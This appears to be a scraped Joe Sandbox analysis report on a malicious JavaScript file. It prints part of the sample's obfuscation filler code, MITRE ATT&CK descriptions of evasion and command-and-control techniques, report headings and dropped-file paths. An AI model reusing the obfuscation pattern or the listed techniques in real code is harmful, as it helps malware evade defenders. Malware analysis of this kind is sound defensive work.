1148	voalozq = "J";
1149	voalozq = "N";
1150	voalozq = "Y";
1151	voalozq = "B";
1152	voalozq = "f";
1153	voalozq = "m";
1154	voalozq = "m";
1155	voalozq = "F";
1156	voalozq = "l";
1157	voalozq = "P";
1158	voalozq = "P";
1159	voalozq = "x";
1160	voalozq = "W";
1161	voalozq = "p";
1162	voalozq = "U";
1163	voalozq = "Q";
1164	voalozq = "q";
1165	voalozq = "x";
1166	voalozq = "v";
1167	voalozq = "Z";
1168	voalozq = "t";
1169	voalozq = "M";
1170	voalozq = "L";
1171	voalozq = "e";
1172	voalozq = "g";
1173	voalozq = "l";
1174	voalozq = "W";
1175	voalozq = "O";
1176	voalozq = "X";
1177	voalozq = "I";
1178	voalozq = "C";
1179	voalozq = "s";
1180	voalozq = "v";
1181	voalozq = "p";
1182	voalozq = "n";
1183	voalozq = "g";
1184	ggkgxwm = "Y";
1185	ggkgxwm = "X";
1186	ggkgxwm = "c";
1187	ggkgxwm = "F";
1188	ggkgxwm = "Y";
1189	ggkgxwm = "p";
1190	ggkgxwm = "A";
1191	ggkgxwm = "g";
1192	ggkgxwm = "m";
1193	ggkgxwm = "t";
1194	ggkgxwm = "s";
1195	ggkgxwm = "B";
1196	ggkgxwm = "i";
1197	ggkgxwm = "Z";
1198	ggkgxwm = "M";
1199	ggkgxwm = "h";
1200	ggkgxwm = "F";
1201	ggkgxwm = "f";
1202	ggkgxwm = "m";
1203	ggkgxwm = "a";
1204	ggkgxwm = "B";
1205	ggkgxwm = "x";
1206	ggkgxwm = "r";
1207	ggkgxwm = "/";
1208	wtgvhqm = "F";
1209	wtgvhqm = "T";
1210	wtgvhqm = "b";
1211	wtgvhqm = "e";
1212	wtgvhqm = "y";
1213	wtgvhqm = "K";
1214	wtgvhqm = "Q";
1215	wtgvhqm = "w";
1216	wtgvhqm = "S";
1217	wtgvhqm = "J";
1218	wtgvhqm = "P";
1219	wtgvhqm = "x";
1220	wtgvhqm = "B";
1221	wtgvhqm = "G";
1222	wtgvhqm = "x";
1223	wtgvhqm = "i";
1224	wtgvhqm = "c";
1225	wtgvhqm = "n";
1226	wtgvhqm = "D";
1227	wtgvhqm = "c";
1228	wtgvhqm = "L";
1229	wtgvhqm = "f";
1230	wtgvhqm = "b";
1231	wtgvhqm = "o";
1232	wtgvhqm = "Q";
1233	wtgvhqm = "h";
1234	wtgvhqm = "Q";
1235	wtgvhqm = "N";
1236	wtgvhqm = "L";
1237	wtgvhqm = "A";
1238	wtgvhqm = "K";
1239	cgunyem = "w";
1240	cgunyem = "B";
1241	cgunyem = "V";
1242	cgunyem = "U";
1243	cgunyem = "H";
1244	cgunyem = "i";
1245	cgunyem = "y";
1246	cgunyem = "Q";
1247	cgunyem = "l";
1248	cgunyem = "j";
1249	cgunyem = "f";
1250	cgunyem = "b";
1251	cgunyem = "X";
1252	cgunyem = "b";
1253	cgunyem = "r";
1254	cgunyem = "R";
1255	cgunyem = "r";
1256	cgunyem = "I";
1257	cgunyem = "d";
1258	cgunyem = "Q";
1259	cgunyem = "L";
1260	cgunyem = "Q";
1261	cgunyem = "x";
1262	cgunyem = "T";
1263	cgunyem = "S";
1264	cgunyem = "x";
1265	cgunyem = "i";
1266	cgunyem = "E";
1267	cgunyem = "K";
1268	cgunyem = "c";
1269	tlqjm = "T";
1270	tlqjm = "l";
1271	tlqjm = "i";
1272	tlqjm = "y";
1273	tlqjm = "n";
1274	tlqjm = "x";
1275	tlqjm = "N";
1276	tlqjm = "D";
1277	tlqjm = "T";
1278	tlqjm = "g";
1279	tlqjm = "C";
1280	tlqjm = "z";
1281	tlqjm = "G";
1282	tlqjm = "E";
1283	tlqjm = "H";
1284	tlqjm = "M";
1285	tlqjm = "o";
1286	tlqjm = "D";
1287	tlqjm = "E";
1288	tlqjm = "s";
1289	tlqjm = "d";
1290	tlqjm = "d";
1291	tlqjm = "r";
1292	tlqjm = "y";
1293	tlqjm = "w";
1294	tlqjm = "E";
1295	tlqjm = "F";
1296	tlqjm = "Y";
1297	tlqjm = "y";
1298	tlqjm = "v";
1299	aclegd = "O";
1300	aclegd = "E";
1301	aclegd = "z";
1302	aclegd = "s";
1303	aclegd = "K";
1304	aclegd = "x";
1305	aclegd = "v";
1306	aclegd = "i";
1307	aclegd = "r";
1308	aclegd = "U";
1309	aclegd = "k";
1310	aclegd = "J";
1311	aclegd = "G";
1312	aclegd = "a";
1313	aclegd = "m";
1314	aclegd = "g";
1315	aclegd = "T";
1316	aclegd = "k";
1317	aclegd = "z";
1318	aclegd = "R";
1319	aclegd = "S";
1320	aclegd = "M";
1321	aclegd = "F";
1322	aclegd = "B";
1323	aclegd = "a";
1324	oawjytosv = "O";
1325	oawjytosv = "P";
1326	oawjytosv = "E";
1327	oawjytosv = "R";
1328	zvwlgl = "L";
1329	zvwlgl = "P";
1330	zvwlgl = "p";
1331	zvwlgl = "D";
1332	zvwlgl = "H";
1333	zvwlgl = "F";
1334	zvwlgl = "p";
1335	zvwlgl = "G";
1336	zvwlgl = "N";
1337	zvwlgl = "a";
1338	zvwlgl = "G";
1339	zvwlgl = "W";
1340	zvwlgl = "U";
1341	zvwlgl = "m";
1342	zvwlgl = "L";
1343	zvwlgl = "j";
1344	zvwlgl = "U";
1345	zvwlgl = "Z";
1346	zvwlgl = "E";
1347	zvwlgl = "Z";
1348	zvwlgl = "b";
1349	zvwlgl = "r";
1350	zvwlgl = "T";
1351	zvwlgl = "T";
1352	zvwlgl = "z";
1353	zvwlgl = "s";
1354	zvwlgl = "Q";
1355	zvwlgl = "B";
1356	zvwlgl = "R";
1357	zvwlgl = "i";
1358	zvwlgl = "p";
1359	zvwlgl = "Q";
1360	zvwlgl = "a";
1361	zvwlgl = "h";
1362	zvwlgl = "b";
1363	isogso = "P";
1364	isogso = "J";
1365	isogso = "S";
1366	isogso = "E";
1367	isogso = "S";
1368	isogso = "T";
1369	isogso = "D";
1370	isogso = "r";
1371	isogso = "y";
1372	isogso = "q";
1373	isogso = "t";
1374	isogso = "s";
1375	isogso = "Y";
1376	isogso = "y";
1377	isogso = "M";
1378	isogso = "N";
1379	isogso = "j";
1380	isogso = "S";
1381	isogso = "P";
1382	isogso = "N";
1383	isogso = "y";
1384	isogso = "R";
1385	isogso = "t";
1386	isogso = "J";
1387	isogso = "u";
1388	isogso = "E";
1389	isogso = "L";
1390	yvfnuk = "e";
1391	yvfnuk = "C";
1392	yvfnuk = "Z";
1393	yvfnuk = "O";
1394	yvfnuk = "A";
1395	yvfnuk = "j";
1396	yvfnuk = "X";
1397	yvfnuk = "K";
1398	yvfnuk = "U";
1399	yvfnuk = "T";
1400	yvfnuk = "p";
1401	yvfnuk = "p";
1402	yvfnuk = "V";
1403	yvfnuk = "a";
1404	yvfnuk = "U";
1405	yvfnuk = "l";
1406	yvfnuk = "B";
1407	yvfnuk = "q";
1408	yvfnuk = "x";
1409	yvfnuk = "J";
1410	yvfnuk = "o";
1411	yvfnuk = "l";
1412	yvfnuk = "p";
1413	yvfnuk = "q";
1414	yvfnuk = "t";
1415	yvfnuk = "u";
1416	yvfnuk = "p";
1417	yvfnuk = "P";
1418	yvfnuk = "U";
1419	yvfnuk = "L";
1420	yvfnuk = "S";
1421	yvfnuk = "w";
1422	yvfnuk = "p";
1423	yvfnuk = "O";
1424	yvfnuk = "C";
1425	yvfnuk = "z";
1426	yvfnuk = "P";
1427	syliwvlwk = "P";
1428	syliwvlwk = "l";
1429	useyri = "m";
1430	useyri = "U";
1431	useyri = "O";
1432	useyri = "I";
1433	useyri = "N";
1434	useyri = "Z";
1435	useyri = "f";
1436	useyri = "x";
1437	useyri = "s";
1438	useyri = "h";
1439	useyri = "s";
1440	useyri = "R";
1441	useyri = "o";
1442	useyri = "h";
1443	useyri = "v";
1444	useyri = "o";
1445	useyri = "N";
1446	useyri = "W";
1447	useyri = "d";
1448	useyri = "P";
1449	useyri = "O";
1450	useyri = "h";
1451	useyri = "E";
1452	useyri = "z";
1453	useyri = "D";
1454	useyri = "B";
1455	useyri = "t";
1456	useyri = "D";
1457	useyri = "c";
1458	useyri = "R";
1459	useyri = "G";
1460	useyri = "P";
1461	useyri = "g";
1462	useyri = "K";
1463	useyri = "A";
1464	useyri = "F";
1465	useyri = "K";
1466	useyri = "\"";
1467	krbsfzxn ( );	krbsfzxn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12524190021110725310.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6dddf527-c45b-41d8-9120-5a21db355b78.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6f77efe1-5936-40ce-ac46-17139adee4ab.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4c3602.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
12524190021110725310.js